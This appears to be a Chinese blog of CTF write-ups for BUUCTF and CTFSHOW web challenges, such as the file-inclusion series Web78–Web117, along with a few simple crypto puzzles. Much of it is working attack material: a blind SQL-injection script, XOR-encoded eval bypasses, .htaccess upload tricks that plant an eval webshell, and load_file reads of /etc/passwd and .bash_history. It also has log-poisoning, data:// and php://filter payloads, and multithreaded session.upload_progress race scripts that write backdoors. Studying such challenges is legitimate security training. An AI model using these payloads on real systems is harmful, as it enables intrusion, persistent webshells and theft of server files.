why

疯疯癫癫的小辣鸡

image-20240617193917708

sql注入是这样的

看了一眼登录界面,什么也没有

放心了

肯定是有注册页面

register.php

image-20240617194105969

先随便注册一个

image-20240617195201465

登录发现回显的用户名

这包的是二次注入的

就是不知道怎么注入

尝试了一下常规注入好像不大行

1'+ascii(substr(database() from 1 for 1))+'0

看了一下大佬的wp

通过ascii码来进行读取

同时使用from for代替逗号

同时过滤了information

所以表名只能靠猜,所以猜测是flag

回到题目

这样的注入是因为在一开始尝试了

ascii(substr(database() from 1 for 1))

发现回显的是字符串所以猜测将上传的username两边加了引号

payload则是为了闭合引号

所以写脚本爆flag

import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://fd61fced-c80d-4436-aa4e-b3aa75cf7fae.node5.buuoj.cn:81/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()

得到flag

dict:{0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='}

chipertext:
FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw

很简单的思路

就是将密文对照着字典重新编辑一遍

也就是找到每个字母对应的数字,将其替换为base64表的一般字符

import base64

dict={0: 'J', 1: 'K', 2: 'L', 3: 'M', 4: 'N', 5: 'O', 6: 'x', 7: 'y', 8: 'U', 9: 'V', 10: 'z', 11: 'A', 12: 'B', 13: 'C', 14: 'D', 15: 'E', 16: 'F', 17: 'G', 18: 'H', 19: '7', 20: '8', 21: '9', 22: 'P', 23: 'Q', 24: 'I', 25: 'a', 26: 'b', 27: 'c', 28: 'd', 29: 'e', 30: 'f', 31: 'g', 32: 'h', 33: 'i', 34: 'j', 35: 'k', 36: 'l', 37: 'm', 38: 'W', 39: 'X', 40: 'Y', 41: 'Z', 42: '0', 43: '1', 44: '2', 45: '3', 46: '4', 47: '5', 48: '6', 49: 'R', 50: 'S', 51: 'T', 52: 'n', 53: 'o', 54: 'p', 55: 'q', 56: 'r', 57: 's', 58: 't', 59: 'u', 60: 'v', 61: 'w', 62: '+', 63: '/', 64: '='}

a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' #标准表

c='FlZNfnF6Qol6e9w17WwQQoGYBQCgIkGTa9w3IQKw'

ds='' #把dict转换成字符串方便处理
for i in range(65):
ds+=dict[i]

l=[]
for i in range(len(c)):
l.append(ds.index(c[i])) #无论换不换表,base64变换本身产生的6位二进制数对应的十进制数是不变的,这里就是找到密文c的每个字符在dict表中键值

#print(l) #l中存的是索引值(下标数字)

m1=''
for ll in l:
m1+=a[ll] #找到l中所存的每个数字在标准的base64加密表中所对应的字符
print(m1) #m1是标准base64表编码结果

m2=base64.b64decode(m1) #直接调用函数恢复出明文
print(m2)

得到flag

<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

直接给源码,这这这,不对吧

好好看看这代码…

怎么说呢

看的出来是使用后面的那一串来引出前面那一串

那怎么引用呢

明显可以看出后面的那一串是和长度有关

所以我们看着这个长度限制可以想到拟造get传参并异或

我们先确定一下payload:

?.=${%80%80%80%80^%DF%C7%C5%D4}{%81}();&%81=get_the_flag

之后看看get_the_flag函数

过滤了ph、<?

并且要求是图片文件?

不是,这是文件上传???

从未想过的全新玩法

因为过滤了ph后缀

所以我们想到了.htaccess

所以我们要想的就是怎么让.htaccess变成图片识别

我们发现了新东西

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

所以

.htaccess

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./poc.jpg"
AddType application/x-httpd-php .jpg

poc.jpg

GIF89a66#base64四位一解码,所以补两位
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

之后使用php代码实现文件上传

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<!--题目链接-->
<form action="http://20052524-8eba-44ce-b01d-7334c953b20c.node5.buuoj.cn:81/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="postedFile"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

得到

upload/tmp_4247b8a5da98794f37ad36c75aaa5631/.htaccess
upload/tmp_4247b8a5da98794f37ad36c75aaa5631/poc.jpg

之后直接连接蚁剑

image-20240616210726313

找到flag

乱点发现代码

<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

一开始看到get传参的source就往后看了,越看越不对劲

回头看有一个exit,所以大概率的话,是传进去之后就直接删除了source参数

然后再后面有一个php://input的一个伪协议输入,所以,可以发现之后会对传进去的东西进行json解码

之后再第一个if里面发现了page

说明我们需要传一个page进去,以json的形式

之后就是关于is_valid的一个绕过

相当于是一个黑名单

php等常见的伪协议被ban

flag也被ban

所以我们可以很快知道,这些需要通过json编码去进行绕过

所以payload:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

原版就是

php://filter/convert.base64-encode/resource=/flag

对被过滤的东西进行json编码,之后以json形式重新编写

起飞

一定是抓包之后再将payload写上去,因为会被url编码

先随便写点东西

发现要我们登录

image-20240616155446636

直接爆破密码最后三位即可

发现是666

所以登录上去

之后对各个地方尝试sql注入,都失败了,所以换一个思路

扫描一下目录发现git泄露,githacker找到源码

但是

在这里插入图片描述

不是完全的。

所以在githacker得到的文件中进行回复

git log --reflog

会发现很多

image-20240616164302160

我们一个个试,最后可以得到完整代码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

发现了,当do=comment时,我们可以从category里进行查询

所以我们可以进行sql注入

content变量在留言界面中

我们发现
$sql = “insert into comment
set category = ‘$category’,
content = ‘$content’,
bo_id = ‘$bo_id’”;
他是分行的,所以#,–+不能用了,得使用/**/多行注释(好像%00截断也行,没有试过)
构造:$category:’ content=(语句),/*
$content:*/#

所以我们

1.在发帖页面写入’,content=(user()),/*

2.之后留言,内容为:*/# 得知是root权限
这里要注意:查数据库的数据不需要root权限,而使用load_file读取文件内容需要root权限,所以应该是想让我们读取文件(查数据的我也尝试过,什么都没有)

3.尝试读文件(步骤一样的我就不截图了),有些wp 的load_file前面加了select,因为数据库查找留言内容时前面已经加了select,所以可以不用加select

',content=(load_file("/etc/passwd")),/*
*/#

得到

在这里插入图片描述

发现出来root用户以外,只有www这个用户在/home/www目录下用了/bin/bash

4.查看/home/www/.bash_history
.bash_history :保存了当前用户使用过的历史命令,方便查找

',content=(load_file("/home/www/.bash_history")),/*
*/#

得到

在这里插入图片描述

解释一下:先进入/tmp目录,解压缩了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下
unzip:解压缩
.DS_Store:这个文件是常见的备份文件

',content=(load_file("/tmp/html/.DS_Store")),/*
*/#

得到

在这里插入图片描述

内容还挺长的,查看源码复制,放在burpsuite里面进行ASCII hex 解码
得到

在这里插入图片描述

看到里面有flag_8946e1ff1ee3e40f.php

产生查看

',content=(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
*/#

打开源代码,发现

md5($secret.$name)===$pass

所以说,我们尝试一下,传入参数name,发现cookie的值在不断变化,所以,我们可以大胆猜测,cookie中保存的就是md5($secret.$name)的值

所以说,我们将cookie的值通过pass参数传入,就可以进入下一个环节

image-20240616143710342

也就是说我们接下来需要访问flflflflag.php

image-20240616144014780

访问并抓包,发现文件包含,所以我们通过文件包含来查看源码

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

image-20240616144112477

发现源码

base64解码一下

<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

之后通过目录扫描,发现dir.php

通过文件包含伪协议查看源码

发现了(步骤和之前的一样,就不赘述了)

<?php
var_dump(scandir('/tmp'));
?>

所以我们可以再dir.php中看到tmp里的东西,所以我们的思路就是这么将东西存进tmp里面

方法一:

我们可以使用php7 segment fault特性

php中php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样就可以保证post上去的文件会保存在系统的缓存目录下不被清楚,这样就可以包含恶意代码

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹

所以我们可以利用url

/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd

去编写脚本

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81//flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

运行之后访问dir.php,得到目录上我们上传的文件路径

image-20240616150537876

之后通过bp发送请求

POST /flflflflag.php?file=/tmp/phpTb7EjO HTTP/1.1
Host:f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81/
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

抓包之后可以在响应中找到flag

方法二:

利用session文件包含,条件竞争得到flag

利用session.upload_progress上传临时文件,包含恶意代码,之后通过包含执行代码,但是当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可

编写脚本:

import io
import sys
import requests
import threading

host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

之后再发送请求

POST /flflflflag.php?file=shell.php HTTP/1.1
Host: f705b8db-dad4-4b36-b7b7-089b9ca79e4e.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

抓包即可查找到flag

93ffdda9-7931-4753-aee3-0c05df7bc9b5

emm

8进制是吧

还要转ascii码

所以三个一组转成10进制之后ascii解码一下得到

flag{ILoveSecurityVeryMuch}

所用脚本如下

musical_notation = [111, 114, 157, 166, 145, 123, 145, 143, 165, 162, 151, 164, 171, 126, 145, 162, 171, 115, 165, 143, 150]
flag="flag{"
for i in musical_notation:
flag+=chr(int(str(i),8))
flag+="}"
print(flag)

参考wp:CTFSHOW-文件包含_@include($file);-CSDN博客(感谢大佬)

Web78

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

很简单的伪协议读取

payload:?file=php://filter/convert.base64-encode/resource=flag.php

之后base64解码即可

wp中还有一种方法

使用bp抓包

给file传参?file=php://input然后在post输出想要执行的代码

img

Web79

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

本题算是过滤了php,所以我们是用不了php协议读取了,这里同样有两种方法

方法一:

继续使用bp进行读取,但是所传协议

php:input//
改为
Php:input//

也就是说是大小写绕过

方法二:

使用data伪协议

这里有两种方法,一种是

使用???代替php

一种是将所执行命令以base64的形式上传之后通过读取方式转化为普通语句

payload如下

?file=data://text/plain,<?= system('tac flag.???');?>

?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=(<?= system('tac flag.???');?>)

注:data://可以用data:代替

Web80

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

把data ban了

emm

所以上一题的方法一依旧能打

而这道题重点在方法二

文件日志包含

这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改User-Agent头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码

且操作一定不能出问题,如果报错就要销毁容器从头再来

因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。

所以先修改User-Agent头的value为

<?php eval($_POST[1]);?>

之后再通过post传参读取

image-20240612215427081

flag在查看源码里

还有一中方法

远程文件包含

远程文件包含可以包含其他主机上的文件,并当成php代码执行。

payload:?file=http://***.***.***.***/1.txt    

1.txt里面写入代码。

就是上传一个包含了攻击代码的文本

Web81

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

过滤了:

。。。

大小写绕过和远程文件包含都不行了

只能使用我们的日志包含(日志中的无过滤)

Web82

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

将.过滤了,所以日志包含也不能使用了!

天要亡我啊!!!

所以我们要在想想怎么包含

看了大佬的wp发现了新方法

img

img

所以我们的思路答题如下

一、首先post一个和ini中设置的session.upload_progerss.name同名变量(默认为"PHP_SESSION_UPLOAD_PROGRESS"),之后就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(在$_SESSION中添加一组数据,索引为可以将session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)
二、在post传递PHP_SESSIOM_UPLOAD一句话木马,同时在cookie中设置名字:PHPSESSID,值:flag方便知道实时进度
三、tem/sess_flag文件的内容会变为upload_progress_(一句话木马)
四、完成以上步骤,include(tem/sess_flag)就会执行一句话木马中的php代码
五、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件

注:

我们能够创建session文件的原因:session里有一个默认选项,session.use_strict_mode默认值为off。也就是说此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=aaa,PHP将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。这个键值ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_aaa文件里。

同时Linux系统中,session文件一般的默认存储位置为

 /var/lib/php/session

/var/lib/php

/var/lib/php/sessions

/tmp/

/tmp/sessions/

本题型一律采用/tmp形式

但是session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清除进度信息,把我们session文件里的内容全部删除。所以这里我们需要利用条件竞争来读取session文件。

所以方法一:

通过bp手动爆破

先构造一个上传文件的页面,对环境上传一个任意的文件,内容任意,并进行抓包

<!DOCTYPE html>
<html>
<body>
<form action="https://6d5c5e02-3874-48cb-84ca-a82fad3d515b.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

修改上传的文件包

image-20240613203330399

注意两点:

(1)设置Cookie:PHPSEESSID=flag、这样我们的session就为/tmp/sess_flag

(2)设置同名变量PHP_SESSION_UPLOAD_PROGRESS,设置值为我们想要存入session文件的代码。(把第一步中value=123的改掉即可,这里对123加上§§是为了进行爆破payload用)

之后包含session文件并且抓包

image-20240613203346930

进行爆破

将两个项目payload设置如下

image-20240613203603243

开始爆破

最后将ls改为tac fl0g.php即可

或方法二:

脚本如下

import requests
import io
import threading

url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}


#为了进行条件竞争,需要一边写一边读

#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50) #生产一个50k的文件
while True:
response=session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.jpg',fileBytes)} #设置文件名字和内容
)



#读取session文件,这里文件为/tmp/sess_ctfshow

def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
response2=session.get(url+'tao.php');
if response2.status_code==200:
print('++++++++++++++++++++')
else:
print(response2.status_code)



if __name__=='__main__':

#开启多线程进行竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(20):
threading.Thread(target=write,args=(session,)).start()
for i in range(20):
threading.Thread(target=read,args=(session,)).start()
evnet.set()

出现+号后然后访问url/tao.php。post传参2=system(‘tac fl0g.php’);

Web83

Warning: session_destroy(): Trying to destroy uninitialized session
in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

本题多了两个函数

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id

session_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie

所以我们的session没用了?

不是这样的,依旧可以进行文件包含

原因如下(多线程竞争的含义)

线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

所以本题还是和上一题相同的方法

Web84

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

删除了/tem/下面所有的文件

-f:强制删除文件或目录;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;

但是

和上一题一样,由于多线程竞争,所以我们可以进行session文件包含

方法和前一样

Web85

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true,否则返回 false。

file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false。

strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false。

但是依旧和前几题一样的方法和理解

因为被删除了文件之后另一个线程又设置好了session文件。所以还是能包含进去

Web86

<?php

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

define — 定义一个常量

dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点(’.’),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false。

include

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

方法依旧和前几题一样

Web87

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

…也就是说如果写一点东西进文件,就会先执行死亡函数…

PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了”A-Z、a-z、0-9、+、/“ 64个可打印字符)

且,解码时,四个字节为一组

所以我们通过base64解码之后就只有phpdie,我们可以添加两个字符组合解码,抹掉死亡函数

同时file参数需要url解码,所以我们需要进行两次url解码(get传参要执行一次)

?file=php://filter/write=convert.base64-decode/resource=1.php

需要全编码,防止php被过滤

所以我们对

<?php eval($_POST[1]);?>

进行base64编码

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

但是+会被当作空格处理并在base64解码的时候被忽略,且自动加上一个=

所以我们将+进行url编码%2B

最后访问1.php

post输入1=system(‘tac fl0g.php’);

所以这道题的思路就是,先通过web82的方法得到文件,之后创建一个新文件,并写入所需代码

之后访问1.php 并再post里输入执行的代码即可

Web88

<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

可以直接使用data协议查看

payload:

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz54eHh4
//<?php eval($_POST['1']);?>xxxx

后面加xxxx是为了不让base64出现=

Web116

涉及misc

无能为力…

一道misc加简单的文件包含

方法:下载视频,用binwalk打开(或者010editor),foremost分离,发现图片,提取源码,传参?file=flag.php,再下载视频用winhex打开即可(或者传参后用bp抓包)

大佬的wp奉上

Web117

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

没有过滤php,所以我们可以通过php://filter/write来写入文件

之后再编码绕过死亡函数

大佬的wp里使用的是usc-2编码

思路与web87差不多

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

看到两个==第一反应就是base64

先尝试一下,发现

v)*L*_F0<}@H0>F49023@FE0#@EN

奇奇怪怪的东西

但是都是ascii可以找到的

尝试rot47解密

成功

GXY{Y0u_kNow_much_about_Rot}

0%